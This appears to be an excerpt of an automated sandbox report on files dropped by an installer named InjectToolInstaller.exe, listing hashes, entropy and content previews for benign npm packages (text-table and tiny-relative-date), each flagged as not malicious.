SHA-512:	F9F31C4FF512FB44604450A15458776387F447A631FDE41A36F6D2BA709F5F0E2BE1386996DCD2C6A0E0693B632C7EFF60C2B2EB8F4CA0A1C96E115BF78F8621
Malicious:	false
Preview:	var table = require('../');.var t = table([. [ 'beep', '1024' ],. [ 'boop', '334.212' ],. [ 'foo', '1006' ],. [ 'bar', '45.6' ],. [ 'baz', '123.' ].], { align: [ 'l', '.' ] });.console.log(t);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\example\doubledot.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.274949672069189
Encrypted:	false
SSDEEP:	6:qQumkJoLwymb1244dGJsLRWUsYFISnA9fv:tAoLlyfnq6YG06v
MD5:	34C14C0949B281BD50C23574B1A38A5C
SHA1:	FD934848EC2503CA4E70C18AD33ED0AA7D57A912
SHA-256:	F332B7F27092230B25634189DF8FC093EA384FDF64FC9858BA36B23782ADD7E0
SHA-512:	59CDA5C94BCDE634DDDD31FAB65FB75E172756B22FD5B61A35F13393A71C4F10AF8F9627E80658085D8A9BAE28DDBB8E2DEC187357B6442B9725BDCFD122C64B
Malicious:	false
Preview:	var table = require('../');.var t = table([. [ '0.1.2' ],. [ '11.22.33' ],. [ '5.6.7' ],. [ '1.22222' ],. [ '12345.' ],. [ '5555.' ],. [ '123' ].], { align: [ '.' ] });.console.log(t);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\example\table.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.910777332277039
Encrypted:	false
SSDEEP:	3:qQuiFXjwFYFREHJjv2+N+G3TJWbKFCD/E/Q14M8NA9fvn:qQumkJC+NL3TJWbBEo4HA9fv
MD5:	A1960E7E172037D6ED03E392D3E3F3F8
SHA1:	6B8B9EBF2886F6A2A326719A7280A0F3BE5135C1
SHA-256:	F70EF045AB0943B57BBD60BBB602486B0814DC1C5797987B6827E8A8BC3FFE56
SHA-512:	3CF3FB146A05EBB3FACFA3C3CF8D4058F9E3BEF7E8B38E549E66A8337EF157B1648E13BD606C77F1B6C7E86B8C12AC778535F2F4E23964FB4BE343C8BE3143BE
Malicious:	false
Preview:	var table = require('../');.var t = table([. [ 'master', '0123456789abcdef' ],. [ 'staging', 'fedcba9876543210' ].]);.console.log(t);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2428
Entropy (8bit):	4.2636716945086865
Encrypted:	false
SSDEEP:	48:DWZJNWTNnPQ4J/wysC1nvSqkZ+0C7tudoWhaVsryln5JdbQc7ZJV+UfQe:DWZJNWTNnI8YysC1nvmCQbcUyN5/Q6jZ
MD5:	40F03955C804A60491B2F39CCA2EABFE
SHA1:	D57922377B2CDC9642C515B8CCFF4BD7C63C7D5B
SHA-256:	97FB9B1B0CE7D0794823FDEE008D19D6814FFEA282B19CD9BED37726A2542B34
SHA-512:	61306DB628FCFB1F655FB60017B83776CD038AAEDAFA4C13CF5634AAA41EF9D52AC33CA53735EF2C2FCD32773C31ACD15420FFC3E7E9DD6F6FB4B4E7C26E6A3A
Malicious:	false
Preview:	module.exports = function (rows_, opts) {. if (!opts) opts = {};. var hsep = opts.hsep === undefined ? ' ' : opts.hsep;. var align = opts.align \|\| [];. var stringLength = opts.stringLength. \|\| function (s) { return String(s).length; }. ;. . var dotsizes = reduce(rows_, function (acc, row) {. forEach(row, function (c, ix) {. var n = dotindex(c);. if (!acc[ix] \|\| n > acc[ix]) acc[ix] = n;. });. return acc;. }, []);. . var rows = map(rows_, function (row) {. return map(row, function (c_, ix) {. var c = String(c_);. if (align[ix] === '.') {. var index = dotindex(c);. var size = dotsizes[ix] + (/\./.test(c) ? 1 : 2). - (stringLength(c) - index). ;. return c + Array(size).join(' ');. }. else return c;. });. });. . var sizes = reduce(rows, function (acc, row) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1033
Entropy (8bit):	4.151828617565874
Encrypted:	false
SSDEEP:	24:FHt1fMKioHh2uQCMCG6WWlUIlLHnHs5+EELCvj:hfTZ0uQC1G67m
MD5:	CEFDEF6C9250D5E87B784A6FC9F7D097
SHA1:	F63FAEE888AD065881DFF49FC3E3DE8AC57B2AE2
SHA-256:	2B410792046C1BF8BCA05D26236CC1E301011EA67546B9C6A0416C417FA6D8B6
SHA-512:	FF8302D989A57966B9CC37A639878DE6DF2F096DDE8D63B55D8AFCECFD829ABBD60A61BF777F41167D420AE1F07429E2B6006A1EDBF6E9273DD832ACE4E93F8D
Malicious:	false
Preview:	{. "name": "text-table",. "version": "0.2.0",. "description": "borderless text tables with alignment",. "main": "index.js",. "devDependencies": {. "tap": "~0.4.0",. "tape": "~1.0.2",. "cli-color": "~0.2.3". },. "scripts": {. "test": "tap test/.js". },. "testling" : {. "files" : "test/.js",. "browsers" : [. "ie/6..latest",. "chrome/20..latest",. "firefox/10..latest",. "safari/latest",. "opera/11.0..latest",. "iphone/6", "ipad/6". ]. },. "repository": {. "type": "git",. "url": "git://github.com/substack/text-table.git". },. "homepage": "https://github.com/substack/text-table",. "keywords": [. "text",. "table",. "align",. "ascii",. "rows",. "tabular". ],. "author": {. "name": "James Halliday",. "email": "mail@substack.net",. "url": "http://substack.ne

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\align.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	393
Entropy (8bit):	4.146232755182876
Encrypted:	false
SSDEEP:	6:qULZEzAP/qUFpC3iQEw1MDXkqjK4XQFQlEJRJaF/DL//FAfv:z8eqmpMi81YkAdAQl+CNXCfv
MD5:	6AD92A25925DE889E9D4129A44273988
SHA1:	C6800E02CB606EA399E2A0B26241DD8AE1F803BE
SHA-256:	977727D860D1287192EB868E023D9EA685AE683319B959B8433941D6D9BA57CE
SHA-512:	5D36F90344F2FD678842D10DE57512E3E6A4764EE99F026EC4DDF35C0FED5CA47AA63353C3EE70C372BE7E1D97CCACE6D6BA087DD19291CCA0EA9C7883AAE1CB
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');..test('align', function (t) {. t.plan(1);. var s = table([. [ 'beep', '1024' ],. [ 'boop', '33450' ],. [ 'foo', '1006' ],. [ 'bar', '45' ]. ], { align: [ 'l', 'r' ] });. t.equal(s, [. 'beep 1024',. 'boop 33450',. 'foo 1006',. 'bar 45'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\ansi-colors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	892
Entropy (8bit):	4.254517498275935
Encrypted:	false
SSDEEP:	12:zEuqMuq6RdkmQAxIMmp8zQ1ADzgQ+INNBRzK6C4NVenB5KR6s/Xo/Ifv:jqGOdeMmAQCnrH7BpgmVeneR6MYIH
MD5:	542FB92C269F290A10C9987D53515054
SHA1:	3B09C7E06062B8B6263A144D266697BFA5E32DB5
SHA-256:	03E3F0E1CCDE32120EA7BF575B3661901FAE88B301EF7A9C4395879498925E47
SHA-512:	5EC6F84A0FDFF6821B2CA39AC9B3B4416B106B6F1767F175F9B1C063AA9266D5BF148661C84E73868E4E3792617650B324398A9E43810D91AFADBF32FDBB5C60
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');.var color = require('cli-color');.var ansiTrim = require('cli-color/lib/trim');..test('center', function (t) {. t.plan(1);. var opts = {. align: [ 'l', 'c', 'l' ],. stringLength: function(s) { return ansiTrim(s).length }. };. var s = table([. [. color.red('Red'), color.green('Green'), color.blue('Blue'). ],. [. color.bold('Bold'), color.underline('Underline'),. color.italic('Italic'). ],. [. color.inverse('Inverse'), color.strike('Strike'),. color.blink('Blink'). ],. [ 'bar', '45', 'lmno' ]. ], opts);. t.equal(ansiTrim(s), [. 'Red Green Blue',. 'Bold Underline Italic',. 'Inverse Strike Blink',. 'bar 45 lmno'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\center.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	466
Entropy (8bit):	4.262470797182446
Encrypted:	false
SSDEEP:	6:qULZEwP/qUFpC3XE8VVKw2CLFyDXe4jK45lFQsuCwJdE7cF/QzREv/PAfv:zVqmpMXvVVFlL8eydVQYqCcNQzRG/Ifv
MD5:	E86DB5F82794597043B2236CB9A25784
SHA1:	DC86812C6B35739589F2B3AD3B8B2EA6F52A60F9
SHA-256:	9A78F9D770CA3ECCE0B4FE5AAD107350040B1E728DD206E98023F221B1563064
SHA-512:	A96C3FFEAA142488663BF9542B2206312839EA95C72D5D1FF180BFE2E8A009F5C1505D36E0383A963CAF548116587A5A54D00C26BBF05D1B936AA0181A70FD2A
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');..test('center', function (t) {. t.plan(1);. var s = table([. [ 'beep', '1024', 'xyz' ],. [ 'boop', '3388450', 'tuv' ],. [ 'foo', '10106', 'qrstuv' ],. [ 'bar', '45', 'lmno' ]. ], { align: [ 'l', 'c', 'l' ] });. t.equal(s, [. 'beep 1024 xyz',. 'boop 3388450 tuv',. 'foo 10106 qrstuv',. 'bar 45 lmno'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\dotalign.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.145351815220905
Encrypted:	false
SSDEEP:	6:qULZEYSBP/qUFpC3ijJw1MDZhy4Y4vojK4bFSFQvENaF/ZLqmvNXODvAfv:z6xqmpMijO1h3dh2QvNN1hlXRfv
MD5:	DE29C37CA036A4B2748932DBFC77EC28
SHA1:	C8FC35C8EEF3884EAA7A0233780ED7B30D8751CB
SHA-256:	A0C689AF649D66BB25E5E5A4F4DA8B7EBBC4456AC608854C21BB08152160526C
SHA-512:	66BB3864D307DADC95DDD166797073CBEC1059983880AE5B482A6653EBD8E5730E2F5DE85632347448789286559DC7D4DFE817D9BF3587A1A1DAAE86F203F294
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');..test('dot align', function (t) {. t.plan(1);. var s = table([. [ 'beep', '1024' ],. [ 'boop', '334.212' ],. [ 'foo', '1006' ],. [ 'bar', '45.6' ],. [ 'baz', '123.' ]. ], { align: [ 'l', '.' ] });. t.equal(s, [. 'beep 1024',. 'boop 334.212',. 'foo 1006',. 'bar 45.6',. 'baz 123.'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\doubledot.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	476
Entropy (8bit):	3.9280502573812317
Encrypted:	false
SSDEEP:	6:qULZEYSBP/qUFp4L1y24uGaLR9qjYFISFQbabIS8N6fbKLNFAfv:z6xqmp4L1yfXK6YG2Q+bIS8o+LNyfv
MD5:	F30BC277E8B1373399030BB98681953A
SHA1:	503665BBD5ADACC254F7594F4D7F9B5F84B15600
SHA-256:	6FAE3DE8A5F02D3640AA9690811C0442E299DBC382514B40662217A68620CF15
SHA-512:	BC6E0E1999273CC68D6367884270637C235C769131A8106B59FB9B0FCE8616E87B8922FC210E33C059F9987FE65860628DB9C84F07BB6867F73260D6769DEA16
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');..test('dot align', function (t) {. t.plan(1);. var s = table([. [ '0.1.2' ],. [ '11.22.33' ],. [ '5.6.7' ],. [ '1.22222' ],. [ '12345.' ],. [ '5555.' ],. [ '123' ]. ], { align: [ '.' ] });. t.equal(s, [. ' 0.1.2',. '11.22.33',. ' 5.6.7',. ' 1.22222',. '12345.',. ' 5555.',. ' 123'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\test\table.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	4.685439067592367
Encrypted:	false
SSDEEP:	6:qULZEXDRP/qUFpS+NL3TJQBEooCHXUXW34laHAfv:zc9qmpp3TudN3534l5fv
MD5:	91D6A110F4D74886B51A4B9C1D3730CB
SHA1:	883E7A2CD4FC0B9FF35BC54A764FA0138B8850D9
SHA-256:	F1ECDED7DBBA6A7D4E015FD5DC1B7526D46FBFE9835FF878983666A2026C8FDF
SHA-512:	673D8B8BEF24E5C78F3AA03AEFD819A5B152192AEBF1AC60B71CB19D61FACA4CAF46593D1EEB5BA159128AA92C7099082B6DFC67495B80595A383F653FA9E2F4
Malicious:	false
Preview:	var test = require('tape');.var table = require('../');..test('table', function (t) {. t.plan(1);. var s = table([. [ 'master', '0123456789abcdef' ],. [ 'staging', 'fedcba9876543210' ]. ]);. t.equal(s, [. 'master 0123456789abcdef',. 'staging fedcba9876543210'. ].join('\n'));.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1068
Entropy (8bit):	5.10263878587975
Encrypted:	false
SSDEEP:	24:KyTrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:KyTaJHlxE3dQHOs5exm3ogFh
MD5:	0E0C5C7B4DD8FB370A42923416BDCC11
SHA1:	68B0001A48DA09FD06AD8B25CD457BEB555A3F9D
SHA-256:	B219EFD4921CB32913A471269807D931B4973190D48269BEDCFDA6205C526100
SHA-512:	18E66200ABD26ADD14C9CE2426829B1C95ED10D723AFD681F9AD91F7F941D10BA74C32CA76EA297924E8A30CE9EF0AC15FF7E3FCA67A3E13BE6E41E2987E346D
Malicious:	false
Preview:	MIT License..Copyright (c) 2017 Joseph Wynn..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\lib\factory.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2551
Entropy (8bit):	4.525827452595355
Encrypted:	false
SSDEEP:	48:yqB18fl1W3A0GbPpsVN6m9PWc5DpxFoYpdsIFrX7KIhBgIutFuIp0:yqBEc3RgLYpdsIFHKIhBgIunuIp0
MD5:	C04CB7BB591181A349B5D152041B2D88
SHA1:	C899AD914F01C953B2843B0FB22E2F3A0D20DBB3
SHA-256:	82044BE65A812949E6D601FF298A7353EA601FA4592027096644A87B3A4D635F
SHA-512:	9EF1B39D159D2B90B78B32038320A02DAF8D29B5E3C0D1AFE80A977AA0872F1579DB2DEB2195DAAA9292D700A7AE15DC465002F336AA2A23DE78B864660EA6F4
Malicious:	false
Preview:	'use strict';..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.default = relativeDateFactory;.var calculateDelta = function calculateDelta(now, date) {. return Math.round(Math.abs(now - date) / 1000);.};..function relativeDateFactory(translations) {. return function relativeDate(date) {. var now = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : new Date();.. if (!(date instanceof Date)) {. date = new Date(date);. }.. var delta = null;.. var minute = 60;. var hour = minute * 60;. var day = hour * 24;. var week = day * 7;. var month = day * 30;. var year = day * 365;.. delta = calculateDelta(now, date);.. if (delta > day && delta < week) {. date = new Date(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0);. delta = calculateDelta(now, date);. }.. var translate = function translate(translatePhrase, timeValue) {. var key = void 0;.. if (translatePhrase === 'justNow'

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	442
Entropy (8bit):	4.925101316484698
Encrypted:	false
SSDEEP:	6:QopTErcwBIvRvevWpmf0Ts/WbK3Afyohf2HqcKnr6phgyGt3LF0B92J:71EqRG+pfKW6+GXphgbF0BoJ
MD5:	C03A840B33242674E30FEEE9DC8FE541
SHA1:	0F1EFED191C5EBF95FF4C05D968545A4E116C488
SHA-256:	BAA70A027262A2CD2E80988381AB990A9490F747F03938F3950FD0FDEAC762CF
SHA-512:	4BFE2B6F2B4971EA98A641FB395FA20F08685646AA7E3D7F0A671104D46AF94462F91FAD260CAFA79BFCA2677AD4DCCDF8C08B78996154B2566DBA67E1F81BB8
Malicious:	false
Preview:	'use strict';..Object.defineProperty(exports, "__esModule", {. value: true.});..var _factory = require('./factory');..var _factory2 = _interopRequireDefault(_factory);..var _en = require('../translations/en');..var _en2 = _interopRequireDefault(_en);..function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }..exports.default = (0, _factory2.default)(_en2.default);.module.exports = exports['default'];

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	4.770809279635477
Encrypted:	false
SSDEEP:	24:51Lgrb6Nlrwd0reEMmWCSCGu/O0PmpQepB/ptyepgH0Q7xGsZSoa:rLgaDrwd6e7mWCSCGu/O0PmplpJptDph
MD5:	5C4B46E171AC7449C49BF81C002A0AD3
SHA1:	07C10ED6A09D36ADA94F639B94E9793485D9D6E1
SHA-256:	9D770FEE4A8577BCB8DD2AD2C4AB664A580193B2B1C4CEEA693C428053F6AE26
SHA-512:	77E8E87D77860749E2818E111E63B02839032C385B85A0B226C6E0F295248983BE59284C5B0614E2690DC50E003F4DB2CE9B595BD1E24F3CC082FC715965AFAB
Malicious:	false
Preview:	{. "name": "tiny-relative-date",. "version": "1.3.0",. "description": "Tiny function that provides relative, human-readable dates.",. "main": "lib/index.js",. "module": "src/index.js",. "scripts": {. "build": "babel src -d lib",. "test": "npm run eslint && npm run jasmine",. "eslint": "eslint --fix src/*/.js",. "jasmine": "jasmine",. "prepublish": "npm run build". },. "files": [. "lib/",. "src/",. "translations/". ],. "license": "MIT",. "author": "Joseph Wynn <joseph@wildlyinaccurate.com> (https://wildlyinaccurate.com/)",. "repository": {. "type": "git",. "url": "https://github.com/wildlyinaccurate/relative-date.git". },. "devDependencies": {. "babel-cli": "^6.24.1",. "babel-plugin-add-module-exports": "^0.2.1",. "babel-preset-es2015": "^6.24.1",. "babel-register": "^6.24.1",. "eslint": "^4.1.0",. "eslint-config-standard": "^10.2.1",. "eslint-plugin-import": "^2.6.0",. "eslint-plugin-node": "^5.0.0",. "eslint-plug

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\src\factory.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2261
Entropy (8bit):	4.394759552134598
Encrypted:	false
SSDEEP:	48:rqP3W30GbUN/N6jpPWT5DAFNzFTFTzMdnIUUX+9IoBDIu4FeeIzw:G+3QVdyX7zMdnIUz9IoBDIuY5Ic
MD5:	D7950244E93E794CF5E8ECFB6CA7E3CB
SHA1:	429BD851F5604106CFFDACC4069885B695C5DA4B
SHA-256:	41B85ED5030C9D276E50C8E6ADF3273BA9A6BF7812278904374CAA1F0E39CBD0
SHA-512:	B2BDA74E31B375DE163BE7D0D092707D09A3DEC9AFB32B47383987A964B6D1815CD02AC12C4679486CFE02DD06DD8A9F1E18263FC09B8416A474BE38A219BEF2
Malicious:	false
Preview:	const calculateDelta = (now, date) => Math.round(Math.abs(now - date) / 1000)..export default function relativeDateFactory (translations) {. return function relativeDate (date, now = new Date()) {. if (!(date instanceof Date)) {. date = new Date(date). }.. let delta = null.. const minute = 60. const hour = minute * 60. const day = hour * 24. const week = day * 7. const month = day * 30. const year = day * 365.. delta = calculateDelta(now, date).. if (delta > day && delta < week) {. date = new Date(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0). delta = calculateDelta(now, date). }.. const translate = (translatePhrase, timeValue) => {. let key.. if (translatePhrase === 'justNow') {. key = translatePhrase. } else if (now >= date) {. key = `${translatePhrase}Ago`. } else {. key = `${translatePhrase}FromNow`. }.. const translation = translations[key].. if (typeof tr

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\src\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.370658773833673
Encrypted:	false
SSDEEP:	3:JSQlXev7d6XELOERLLW5XfRXD4LLWbSB7AYgtADXFERLLWun:RlXeGE/R/W5vRX8/WbSB/yeX+R/Wu
MD5:	962777F6B320B6F8E6D8039C551EF906
SHA1:	DC15343FA189CBD68FBDDA47FC2FF05DB95824B0
SHA-256:	379362D579F57918F976DB2EE340C1CE302C60B01BB8B89856F08312A63599F9
SHA-512:	31080E12EBF8CC298B1166DE8082507EC3D430A5F977E1D28507C80CCDB432E54C6E79D1422F4870EA38B18E8A2EBCAF4B8967C08390DE74700A6D242EDB2A65
Malicious:	false
Preview:	import relativeDateFactory from './factory'.import enTranslations from '../translations/en'..export default relativeDateFactory(enTranslations).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\translations\da.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	998
Entropy (8bit):	4.554349756692198
Encrypted:	false
SSDEEP:	24:DBcT5JJ6erTF20Fo3YHCQoqQt34zucB3O:DiT5P6er8Go3wCHqQ6B3O
MD5:	98CC3C13239ABB5A6241307C25C8805C
SHA1:	A99888ECF8D71BA2C09BB485F345B6A08D0209F4
SHA-256:	B139D920646A7563BD3995AB07A33098FD9BDC7A25FE091DCC5DAFCDF77567D5
SHA-512:	85A936DD3186E635305704953A6D9424310E8BDA6B3B06189EDA148434C31D8DF5EA679545E46638B4BC08D6737DD4DC49F3B68EEF99185D4A28E4E32EBC8D90
Malicious:	false
Preview:	module.exports = {. justNow: "ligenu",. secondsAgo: "{{time}} sekunder siden",. aMinuteAgo: "et minut siden",. minutesAgo: "{{time}} minutter siden",. anHourAgo: "en time siden",. hoursAgo: "{{time}} timer siden",. aDayAgo: "i g.r",. daysAgo: "{{time}} dage siden",. aWeekAgo: "en uge siden",. weeksAgo: "{{time}} uger siden",. aMonthAgo: "en m.ned siden",. monthsAgo: "{{time}} m.neder siden",. aYearAgo: "et .r siden",. yearsAgo: "{{time}} .r siden",. overAYearAgo: "over et .r siden",. secondsFromNow: "om {{time}} sekunder",. aMinuteFromNow: "om et minut",. minutesFromNow: "om {{time}} minutter",. anHourFromNow: "om en time",. hoursFromNow: "om {{time}} timer",. aDayFromNow: "i morgen",. daysFromNow: "om {{time}} dage",. aWeekFromNow: "om en uge",. weeksFromNow: "om {{time}} uger",. aMonthFromNow: "om en m.ned",. monthsFromNow: "om {{time}} m.neder",. aYearFromNow: "om et .r",. yearsFromNow: "om {{time}} .r",. overAYearFromNow: "om over et .r".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\translations\de.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1033
Entropy (8bit):	4.709088880056452
Encrypted:	false
SSDEEP:	12:xBBcigVADjzOEYJwtmxNnYPhogTm3LeeF8xAzzJwsGpDNlXbSs2Icep3Sk4acTmF:DBcAfzF8w0nOhc3Ky1zlwzqsdcNC31
MD5:	6BF7666E1E1AE493AD3A8BA7D3DB34BA
SHA1:	76E4FBF6C5D8FAF1AF4C697F95FC4F2A02DF89D2
SHA-256:	CF6D2A48949BE41F6EABC9BC2C9406240FFBD68ADC0CD90DDC33F85969A739FE
SHA-512:	19D9FADBA233F43D3FA741BF5BA38C26FEEEDB8341203EFDBE73D88AAB6C8506A977F5E39D5A937AD0CE319B9A961DC4D6E66941403CE7204692ECA40024E966
Malicious:	false
Preview:	module.exports = {. justNow: "gerade eben",. secondsAgo: "vor {{time}} Sekunden",. aMinuteAgo: "vor einer Minute",. minutesAgo: "vor {{time}} Minuten",. anHourAgo: "vor einer Stunde",. hoursAgo: "vor {{time}} Stunden",. aDayAgo: "gestern",. daysAgo: "vor {{time}} Tagen",. aWeekAgo: "letzte Woche",. weeksAgo: "vor {{time}} Wochen",. aMonthAgo: "letzten Monat",. monthsAgo: "vor {{time}} Monaten",. aYearAgo: "letztes Jahr",. yearsAgo: "vor {{time}} Jahren",. overAYearAgo: "vor .ber einem Jahr",. secondsFromNow: "in {{time}} Sekunden",. aMinuteFromNow: "in einer Minute",. minutesFromNow: "in {{time}} Minuten",. anHourFromNow: "in einer Stunde",. hoursFromNow: "in {{time}} Stunden",. aDayFromNow: "morgen",. daysFromNow: "in {{time}} Tagen",. aWeekFromNow: "n.chste Woche",. weeksFromNow: "in {{time}} Wochen",. aMonthFromNow: "n.chsten Monat",. monthsFromNow: "in {{time}} Monaten",. aYearFromNow: "n.chstes Jahr",. yearsFromNow: "in {{time}} Jahren",. overAYear

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\translations\en-short.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	804
Entropy (8bit):	4.9037085831206
Encrypted:	false
SSDEEP:	24:DBcbLbp16Sump9JEFxSO3b3ecovLeU+V8JELFIC1JT3N:DibLbT6hy9JEaO3yNMSJELFIa3N
MD5:	17B81E516B21431D15E21282E12342F6
SHA1:	0A198D0E3F4B1A0D78535B0156664800959144CF
SHA-256:	A4EFA5671DDA4B31863449F70A8320CF60DC51385EE3B07DD1914DC9925A4A15
SHA-512:	7A5D3CCCCBFEF9CECFFEA43F94A3FC159D84A8BB58AF5B6F193EE8AA1F593C11D43CCD4E4F4F271EC93C83CC72D020EBDFD71734D73CCC7633CD013CEDB10603
Malicious:	false
Preview:	module.exports = {. justNow: "now",. secondsAgo: "{{time}}s",. aMinuteAgo: "1m",. minutesAgo: "{{time}}m",. anHourAgo: "1h",. hoursAgo: "{{time}}h",. aDayAgo: "1d",. daysAgo: "{{time}}d",. aWeekAgo: "1w",. weeksAgo: "{{time}}w",. aMonthAgo: '4w',. monthsAgo: (months) => `${Math.round(months / 12 * 52)}w`,. aYearAgo: "1y",. yearsAgo: "{{time}}y",. overAYearAgo: "1y+",. secondsFromNow: "+{{time}}s",. aMinuteFromNow: "+1m",. minutesFromNow: "+{{time}}m",. anHourFromNow: "+1h",. hoursFromNow: "+{{time}}h",. aDayFromNow: "+1d",. daysFromNow: "+{{time}}d",. aWeekFromNow: "+1w",. weeksFromNow: "+{{time}}w",. aMonthFromNow: '+4w',. monthsFromNow: (months) => `+${Math.round(months / 12 * 52)}w`,. aYearFromNow: "+1y",. yearsFromNow: "+{{time}}y",. overAYearFromNow: "+1y+".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tiny-relative-date\translations\en.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	4.519537553507149
Encrypted:	false
SSDEEP:	24:DBcXpxu4fTL46GHH0HlC+kpY3GuCrgRfO2MfYbkYR6Lm/xIV3IuuBC:DiXpxu4LL46GHH0HlC+kO3YrgRfpMSk/
MD5:	5EE453C91D3C030FE4002BAD17E47262
SHA1:	5BEF9CF6032FE56B9601221E5AD8C7A20222B038
SHA-256:	E5D2CAA8D55331C7243DA87B18D44E14CBAF62E127507E6E7C8C79426FF072A5
SHA-512:	7BFDB6FCA1886CD4662C2DDF8BD4B43275053FA99F69B81AA568656AC0F6EDD8EDDF65A7180B9B16340E1B7A47CF1D3302C3F4EC55A6A8858236AC635E6FD3B7
Malicious:	false
